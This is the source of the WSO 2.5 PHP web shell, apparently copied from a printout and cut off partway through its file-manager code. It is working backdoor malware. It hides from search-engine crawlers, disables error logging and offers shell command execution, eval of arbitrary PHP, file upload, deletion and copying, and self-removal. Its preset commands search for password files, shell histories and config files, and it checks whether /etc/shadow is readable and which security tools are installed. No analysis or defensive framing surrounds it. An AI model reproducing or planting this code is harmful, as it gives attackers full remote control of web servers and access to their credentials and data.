```
?><?php
//$auth_pass = "b0b727637499d4ff1835e4cd70c0f7a4";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';

if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex",
"Rambler");
    if(preg_match('/' . implode('|', $userAgents) . '/i',
$_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');

if(get_magic_quotes_gpc()) {
        function WSOstripslashes($array) {
                return is_array($array) ? array_map('WSOstripslashes', $array) :
stripslashes($array);
        }
        $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
        die("<pre align=center><form method=post>Password: <input type=password
name=pass><input type=submit value='>>'></form></pre>");
}

function WSOsetcookie($k, $v) {
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}

if(!empty($auth_pass)) {
    if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) ||
($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
        wsoLogin();
}

if(strtolower(substr(PHP_OS,0,3)) == "win")
        $os = 'win';
else
        $os = 'nix';

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
    error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
```

```
        @chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
        $home_cwd = str_replace("\\", "/", $home_cwd);
        $cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
        $cwd .= '/';

if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
    $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;

if($os == 'win')
        $aliases = array(
                "List Directory" => "dir",
        "Find index.php in current dir" => "dir /s /w /b index.php",
        "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
        "Show active connections" => "netstat -an",
        "Show running services" => "net start",
        "User accounts" => "net user",
        "Show computers" => "net view",
                "ARP Table" => "arp -a",
                "IP Configuration" => "ipconfig /all"
        );
else
        $aliases = array(
                "List dir" => "ls -lha",
                "list file attributes on a Linux second extended file system" =>
"lsattr -va",
                "show opened ports" => "netstat -an | grep -i listen",
        "process status" => "ps aux",
                "Find" => "",
                "find all suid files" => "find / -type f -perm -04000 -ls",
                "find suid files in current dir" => "find . -type f -perm -04000 -
ls",
                "find all sgid files" => "find / -type f -perm -02000 -ls",
                "find sgid files in current dir" => "find . -type f -perm -02000 -
ls",
                "find config.inc.php files" => "find / -type f -name
config.inc.php",
                "find config* files" => "find / -type f -name \"config*\"",
                "find config* files in current dir" => "find . -type f -name
\"config*\"",
                "find all writable folders and files" => "find / -perm -2 -ls",
                "find all writable folders and files in current dir" => "find . -
perm -2 -ls",
                "find all service.pwd files" => "find / -type f -name service.pwd",
                "find service.pwd files in current dir" => "find . -type f -name
service.pwd",
                "find all .htpasswd files" => "find / -type f -name .htpasswd",
                "find .htpasswd files in current dir" => "find . -type f -name
.htpasswd",
                "find all .bash_history files" => "find / -type f -name
.bash_history",
                "find .bash_history files in current dir" => "find . -type f -name
.bash_history",
                "find all .fetchmailrc files" => "find / -type f -name
.fetchmailrc",
                "find .fetchmailrc files in current dir" => "find . -type f -name
.fetchmailrc",
                "Locate" => "",
                "locate httpd.conf files" => "locate httpd.conf",
                "locate vhosts.conf files" => "locate vhosts.conf",
                "locate proftpd.conf files" => "locate proftpd.conf",
                "locate psybnc.conf files" => "locate psybnc.conf",
                "locate my.conf files" => "locate my.conf",
                "locate admin.php files" =>"locate admin.php",
                "locate cfg.php files" => "locate cfg.php",
                "locate conf.php files" => "locate conf.php",
                "locate config.dat files" => "locate config.dat",
                "locate config.php files" => "locate config.php",
                "locate config.inc files" => "locate config.inc",
                "locate config.inc.php" => "locate config.inc.php",
                "locate config.default.php files" => "locate config.default.php",
                "locate config* files " => "locate config",
                "locate .conf files"=>"locate '.conf'",
                "locate .pwd files" => "locate '.pwd'",
                "locate .sql files" => "locate '.sql'",
                "locate .htpasswd files" => "locate '.htpasswd'",
                "locate .bash_history files" => "locate '.bash_history'",
                "locate .mysql_history files" => "locate '.mysql_history'",
                "locate .fetchmailrc files" => "locate '.fetchmailrc'",
                "locate backup files" => "locate backup",
                "locate dump files" => "locate dump",
                "locate priv files" => "locate priv"
        );

function wsoHeader() {
        if(empty($_POST['charset']))
                $_POST['charset'] = $GLOBALS['default_charset'];
        global $color;
        echo "<html><head><meta http-equiv='Content-Type' content='text/html;
charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " .
WSO_VERSION ."</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-
color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid
$color; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
    var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
    var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
    var p1_ = '" .
((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES))
."';
    var p2_ = '" .
((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES))
."';
    var p3_ = '" .
((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES))
```

```
."';
    var d = document;
        function set(a,c,p1,p2,p3,charset) {
                if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
                if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
                if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
                if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
                if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
                if(charset!=null)d.mf.charset.value=charset;else
d.mf.charset.value=charset_;
        }
        function g(a,c,p1,p2,p3,charset) {
                set(a,c,p1,p2,p3,charset);
                d.mf.submit();
        }
        function a(a,c,p1,p2,p3,charset) {
                set(a,c,p1,p2,p3,charset);
                var params = 'ajax=true';
                for(i=0;i<d.mf.elements.length;i++)
                        params +=
'&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
                sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
        }
        function sr(url, params) {
                if (window.XMLHttpRequest)
                        req = new XMLHttpRequest();
                else if (window.ActiveXObject)
                        req = new ActiveXObject('Microsoft.XMLHTTP');
        if (req) {
            req.onreadystatechange = processReqChange;
            req.open('POST', url, true);
            req.setRequestHeader ('Content-Type', 'application/x-www-form-
urlencoded');
            req.send(params);
        }
        }
        function processReqChange() {
                if( (req.readyState == 4) )
                        if(req.status == 200) {
                                var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\",
'm');
                                var arr=reg.exec(req.responseText);
                                eval(arr[2].substr(0, arr[1]));
                        } else alert('Request error!');
        }
</script>
<head><body><div style='position:absolute;width:100%;background-
color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
        $freeSpace = @diskfreespace($GLOBALS['cwd']);
        $totalSpace = @disk_total_space($GLOBALS['cwd']);
        $totalSpace = $totalSpace?$totalSpace:1;
        $release = @php_uname('r');
        $kernel = @php_uname('s');
        $explink = 'http://exploit-db.com/search/?
action=search&filter_description=';
        if(strpos('Linux', $kernel) !== false)
                $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
        else
                $explink .= urlencode($kernel . ' ' . substr($release,0,3));
        if(!function_exists('posix_getegid')) {
                $user = @get_current_user();
                $uid = @getmyuid();
                $gid = @getmygid();
                $group = "?";
        } else {
                $uid = @posix_getpwuid(posix_geteuid());
                $gid = @posix_getgrgid(posix_getegid());
                $user = $uid['name'];
                $uid = $uid['uid'];
                $group = $gid['name'];
                $gid = $gid['gid'];
        }

        $cwd_links = '';
        $path = explode("/", $GLOBALS['cwd']);
        $n=count($path);
        for($i=0; $i<$n-1; $i++) {
                $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
                for($j=0; $j<=$i; $j++)
                        $cwd_links .= $path[$j].'/';
                $cwd_links .= "\")'>".$path[$i]."/</a>";
        }

        $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
        $opt_charsets = '';
        foreach($charsets as $item)
                $opt_charsets .= '<option value="'.$item.'" '.
($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';

        $m = array('Sec.
Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php',
'String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
        if(!empty($GLOBALS['auth_pass']))
                $m['Logout'] = 'Logout';
        $m['Self remove'] = 'SelfRemove';
        $menu = '';
        foreach($m as $k => $v)
                $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#"
onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';

        $drives = "";
        if($GLOBALS['os'] == 'win') {
                foreach(range('c','z') as $drive)
                if(is_dir($drive.':\\'))
                        $drives .= '<a href="#"
onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
        }
        echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td
width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] ==
'win'?'<br>Drives:':'') . '</span></td>'
       . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '"
target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' )
<span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . '
<span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font
color=red>ON</font>':'<font color=green><b>OFF</b></font>')
       . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a>
<span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) .
' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int)
($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '.
wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' .
$GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
       . '<td width=1 align=right><nobr><select
```

```
onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' .
$opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' .
@$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' .
$_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
        . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0
width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
}

function wsoFooter() {
        $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>
(Writeable)</font>":" <font color=red>(Not writable)</font>";
    echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-
top:2px solid #333;border-bottom:2px solid #333;'>
        <tr>
                <td><form onsubmit='g(null,this.c.value,\"\");return false;'>
<span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" .
htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
                <td><form onsubmit=\"g('FilesTools',null,this.f.value);return
false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input
type=submit value='>>'></form></td>
        </tr><tr>
                <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return
false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text
name=d><input type=submit value='>>'></form></td>
                <td><form
onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make
file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input
type=submit value='>>'></form></td>
        </tr><tr>
                <td><form onsubmit=\"g('Console',null,this.c.value);return false;\">
<span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input
type=submit value='>>'></form></td>
                <td><form method='post' ENCTYPE='multipart/form-data'>
                <input type=hidden name=a value='FilesMAn'>
                <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
                <input type=hidden name=p1 value='uploadFile'>
                <input type=hidden name=charset value='" .
(isset($_POST['charset'])?$_POST['charset']:'') . "'>
                <span>Upload file:</span>$is_writable<br><input class='toolsInp'
type=file name=f><input type=submit value='>>'></form><br  ></td>
        </tr></table></div></body></html>";
}

if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'],
'posix_getpwuid')===false)) {
    function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'],
'posix_getgrgid')===false)) {
    function posix_getgrgid($p) {return false;} }

function wsoEx($in) {
        $out = '';
        if (function_exists('exec')) {
                @exec($in,$out);
                $out = @join("\n",$out);
        } elseif (function_exists('passthru')) {
                ob_start();
                @passthru($in);
                $out = ob_get_clean();
        } elseif (function_exists('system')) {
                ob_start();
                @system($in);
                $out = ob_get_clean();
        } elseif (function_exists('shell_exec')) {
                $out = shell_exec($in);
        } elseif (is_resource($f = @popen($in,"r"))) {
                $out = "";
                while(!@feof($f))
                        $out .= fread($f,1024);
                pclose($f);
        }
        return $out;
}

function wsoViewSize($s) {
    if (is_int($s))
        $s = sprintf("%u", $s);

        if($s >= 1073741824)
                return sprintf('%1.2f', $s / 1073741824 ). ' GB';
        elseif($s >= 1048576)
                return sprintf('%1.2f', $s / 1048576 ) . ' MB';
        elseif($s >= 1024)
                return sprintf('%1.2f', $s / 1024 ) . ' KB';
        else
                return $s . ' B';
}

function wsoPerms($p) {
        if (($p & 0xC000) == 0xC000)$i = 's';
        elseif (($p & 0xA000) == 0xA000)$i = 'l';
        elseif (($p & 0x8000) == 0x8000)$i = '-';
        elseif (($p & 0x6000) == 0x6000)$i = 'b';
        elseif (($p & 0x4000) == 0x4000)$i = 'd';
        elseif (($p & 0x2000) == 0x2000)$i = 'c';
        elseif (($p & 0x1000) == 0x1000)$i = 'p';
        else $i = 'u';
        $i .= (($p & 0x0100) ? 'r' : '-');
        $i .= (($p & 0x0080) ? 'w' : '-');
        $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' :
'-'));
        $i .= (($p & 0x0020) ? 'r' : '-');
        $i .= (($p & 0x0010) ? 'w' : '-');
        $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' :
'-'));
        $i .= (($p & 0x0004) ? 'r' : '-');
        $i .= (($p & 0x0002) ? 'w' : '-');
        $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' :
'-'));
        return $i;
}

function wsoPermsColor($f) {
        if (!@is_readable($f))
                return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) .
'</font>';
        elseif (!@is_writable($f))
                return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
        else
                return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) .
'</font>';
}

function wsoScandir($dir) {
    if(function_exists("scandir")) {
        return scandir($dir);
    } else {
        $dh  = opendir($dir);
        while (false !== ($filename = readdir($dh)))
            $files[] = $filename;
        return $files;
    }
}

function wsoWhich($p) {
        $path = wsoEx('which ' . $p);
        if(!empty($path))
                return $path;
        return false;
}

function actionSecInfo() {
        wsoHeader();
        echo '<h1>Server security information</h1><div class=content>';
        function wsoSecParam($n, $v) {
                $v = trim($v);
                if($v) {
                        echo '<span>' . $n . ': </span>';
                        if(strpos($v, "\n") === false)
                                echo $v . '<br>';
                        else
                                echo '<pre class=ml1>' . $v . '</pre>';
                }
        }

        wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
    if(function_exists('apache_get_modules'))
        wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
        wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?
$GLOBALS['disable_functions']:'none');
        wsoSecParam('Open base dir', @ini_get('open_basedir'));
        wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
        wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
        wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
        $temp=array();
        if(function_exists('mysql_get_client_info'))
                $temp[] = "MySql (".mysql_get_client_info().")";
        if(function_exists('mssql_connect'))
                $temp[] = "MSSQL";
        if(function_exists('pg_connect'))
                $temp[] = "PostgreSQL";
        if(function_exists('oci_connect'))
                $temp[] = "Oracle";
        wsoSecParam('Supported databases', implode(', ', $temp));
        echo '<br>';

        if($GLOBALS['os'] == 'nix') {
            wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a
href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
            wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a
href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
            wsoSecParam('OS version', @file_get_contents('/proc/version'));
            wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
            if(!$GLOBALS['safe_mode']) {
                $userful =
array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip',
'bzip2','nc','locate','suidperl');
                $danger =
array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit
','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tc
plodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja'
);
                $downloaders =
array('wget','fetch','lynx','links','curl','get','lwp-mirror');
                echo '<br>';
                $temp=array();
                foreach ($userful as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam('Userful', implode(', ',$temp));
                $temp=array();
                foreach ($danger as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam('Danger', implode(', ',$temp));
                $temp=array();
                foreach ($downloaders as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam('Downloaders', implode(', ',$temp));
                echo '<br/>';
                wsoSecParam('HDD space', wsoEx('df -h'));
                wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
                echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table>
<form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return
false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr>
<td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input
type=submit value=">>"></form>';
                if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2'])
&& is_numeric($_POST['p3'])) {
                    $temp = "";
                    for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
                        $uid = @posix_getpwuid($_POST['p2']);
                        if ($uid)
                            $temp .= join(':',$uid)."\n";
                    }
                    echo '<br/>';
                    wsoSecParam('Users', $temp);
                }
            }
        } else {
                wsoSecParam('OS Version',wsoEx('ver'));
                wsoSecParam('Account Settings',wsoEx('net accounts'));
                wsoSecParam('User Accounts',wsoEx('net user'));
        }
        echo '</div>';
        wsoFooter();
}

function actionPhp() {
        if(isset($_POST['ajax'])) {
        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
                ob_start();
                eval($_POST['p1']);
                $temp =
"document.getElementById('PhpOutput').style.display='';document.getElementById('PhpO
utput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0")
. "';\n";
                echo strlen($temp), "\n", $temp;
                exit;
        }
    if(empty($_POST['ajax']) && !empty($_POST['p1']))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);

        wsoHeader();
        if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
                echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}
</style>';
```

```
                ob_start();
                phpinfo();
                $tmp = ob_get_clean();
        $tmp = preg_replace(array (
            '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
            '!td, th {(.*)}!msiU',
            '!<img[^>]+>!msiU',
        ), array (
            '',
            '.e, .v, .h, .h th {$1}',
            ''
        ), $tmp);
                echo str_replace('<h1','<h2', $tmp) .'</div><br>';
        }
    echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post
onsubmit="if(this.ajax.checked)
{a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return
false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?
htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval
style="margin-top:5px">';
        echo ' <input type=checkbox name=ajax value=1 '.
($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form>
<pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-
top:5px;" class=ml1>';
        if(!empty($_POST['p1'])) {
                ob_start();
                eval($_POST['p1']);
                echo htmlspecialchars(ob_get_clean());
        }
        echo '</pre></div>';
        wsoFooter();
}

function actionFilesMan() {
    if (!empty ($_COOKIE['f']))
        $_COOKIE['f'] = @unserialize($_COOKIE['f']);

        if(!empty($_POST['p1'])) {
                switch($_POST['p1']) {
                        case 'uploadFile':
                                if(!@move_uploaded_file($_FILES['f']['tmp_name'],
$_FILES['f']['name']))
                                        echo "Can't upload file!";
                                break;
                        case 'mkdir':
                                if(!@mkdir($_POST['p2']))
                                        echo "Can't create new dir";
                                break;
                        case 'delete':
                                function deleteDir($path) {
                                        $path = (substr($path,-1)=='/') ?
$path:$path.'/';
                                        $dh  = opendir($path);
                                        while ( ($item = readdir($dh) ) !== false) {
                                                $item = $path.$item;
                                                if ( (basename($item) == "..") ||
(basename($item) == ".") )
                                                        continue;
                                                $type = filetype($item);
                                                if ($type == "dir")
                                                        deleteDir($item);
                                                else
                                                        @unlink($item);
                                        }
                                        closedir($dh);
                                        @rmdir($path);
                                }
                                if(is_array(@$_POST['f']))
                                        foreach($_POST['f'] as $f) {
                        if($f == '..')
                            continue;
                                                $f = urldecode($f);
                                                if(is_dir($f))
                                                        deleteDir($f);
                                                else
                                                        @unlink($f);
                                        }
                                break;
                        case 'paste':
                                if($_COOKIE['act'] == 'copy') {
                                        function copy_paste($c,$s,$d){
                                                if(is_dir($c.$s)){
                                                        mkdir($d.$s);
                                                        $h = @opendir($c.$s);
                                                        while (($f = @readdir($h))
!== false)
                                                                if (($f != ".") and
($f != ".."))

copy_paste($c.$s.'/',$f, $d.$s.'/');
                                                } elseif(is_file($c.$s))
                                                        @copy($c.$s, $d.$s);
                                        }
                                        foreach($_COOKIE['f'] as $f)
                                                copy_paste($_COOKIE['c'],$f,
$GLOBALS['cwd']);
                                } elseif($_COOKIE['act'] == 'move') {
                                        function move_paste($c,$s,$d){
                                                if(is_dir($c.$s)){
                                                        mkdir($d.$s);
                                                        $h = @opendir($c.$s);
                                                        while (($f = @readdir($h))
!== false)
                                                                if (($f != ".") and
($f != ".."))

copy_paste($c.$s.'/',$f, $d.$s.'/');
                                                } elseif(@is_file($c.$s))
                                                        @copy($c.$s, $d.$s);
                                        }
                                        foreach($_COOKIE['f'] as $f)
                                                @rename($_COOKIE['c'].$f,
$GLOBALS['cwd'].$f);
                                } elseif($_COOKIE['act'] == 'zip') {
                                        if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        if ($zip->open($_POST['p2'], 1)) {
                            chdir($_COOKIE['c']);
                            foreach($_COOKIE['f'] as $f) {
                                if($f == '..')
                                    continue;
                                if(@is_file($_COOKIE['c'].$f))
                                    $zip->addFile($_COOKIE['c'].$f, $f);
                                elseif(@is_dir($_COOKIE['c'].$f)) {
                                    $iterator = new RecursiveIteratorIterator(new
RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
                                    foreach ($iterator as $key=>$value) {
                                        $zip->addFile(realpath($key), $key);
                                    }
                                }
                            }
                            chdir($GLOBALS['cwd']);
                            $zip->close();
                        }
                    }
                                } elseif($_COOKIE['act'] == 'unzip') {
                                        if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        foreach($_COOKIE['f'] as $f) {
                            if($zip->open($_COOKIE['c'].$f)) {
                                $zip->extractTo($GLOBALS['cwd']);
                                $zip->close();
                            }
                        }
                    }
                                } elseif($_COOKIE['act'] == 'tar') {
                    chdir($_COOKIE['c']);
                    $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
                    wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' .
implode(' ', $_COOKIE['f']));
                    chdir($GLOBALS['cwd']);
                                }
                                unset($_COOKIE['f']);
                setcookie('f', '', time() - 3600);
                                break;
                        default:
                if(!empty($_POST['p1'])) {
                                        WSOsetcookie('act', $_POST['p1']);
                                        WSOsetcookie('f', serialize(@$_POST['f']));
                                        WSOsetcookie('c', @$_POST['c']);
                                }
                                break;
                }
        }
    wsoHeader();
        echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";
</script>';
        $dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
        if($dirContent === false) {     echo 'Can\'t open this folder!';wsoFooter();
return; }
        global $sort;
        $sort = array('name', 1);
        if(!empty($_POST['p1'])) {
                if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
                        $sort = array($match[1], (int)$match[2]);
        }
echo "<script>
        function sa() {
                for(i=0;i<d.files.elements.length;i++)
                        if(d.files.elements[i].type == 'checkbox')
                                d.files.elements[i].checked =
d.files.elements[0].checked;
        }
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox
onclick='sa()' class=chkbx></th><th><a href='#'
onclick='g(\"FilesMan\",null,\"s_name_\".($sort[1]?0:1).\"\")'>Name</a></th><th><a
href='#' onclick='g(\"FilesMan\",null,\"s_size_\".($sort[1]?0:1).\"\")'>Size</a></th>
<th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_\".($sort[1]?
0:1).\"\")'>Modify</a></th><th>Owner/Group</th><th><a href='#'
onclick='g(\"FilesMan\",null,\"s_perms_\".($sort[1]?0:1).\"\")'>Permissions</a></th>
<th>Actions</th></tr>";
        $dirs = $files = array();
        $n = count($dirContent);
        for($i=0;$i<$n;$i++) {
                $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
                $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
                $tmp = array('name' => $dirContent[$i],
                                          'path' => $GLOBALS['cwd'].$dirContent[$i],
                                          'modify' => date('Y-m-d H:i:s',
@filemtime($GLOBALS['cwd'] . $dirContent[$i])),
                                          'perms' => wsoPermsColor($GLOBALS['cwd'] .
$dirContent[$i]),
                                          'size' =>
@filesize($GLOBALS['cwd'].$dirContent[$i]),
                                          'owner' => $ow['name']?
$ow['name']:@fileowner($dirContent[$i]),
                                          'group' => $gr['name']?
$gr['name']:@filegroup($dirContent[$i])
                                         );
                if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
                        $files[] = array_merge($tmp, array('type' => 'file'));
                elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
                        $dirs[] = array_merge($tmp, array('type' => 'link', 'link'
=> readlink($tmp['path'])));
                elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
                        $dirs[] = array_merge($tmp, array('type' => 'dir'));
        }
        $GLOBALS['sort'] = $sort;
        function wsoCmp($a, $b) {
                if($GLOBALS['sort'][0] != 'size')
                        return strcmp(strtolower($a[$GLOBALS['sort'][0]]),
strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
                else
                        return (($a['size'] < $b['size']) ? -1 : 1)*
($GLOBALS['sort'][1]?1:-1);
        }
        usort($files, "wsoCmp");
        usort($dirs, "wsoCmp");
        $files = array_merge($dirs, $files);
        $l = 0;
        foreach($files as $f) {
                echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]"
value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.
(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\',
\'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' .
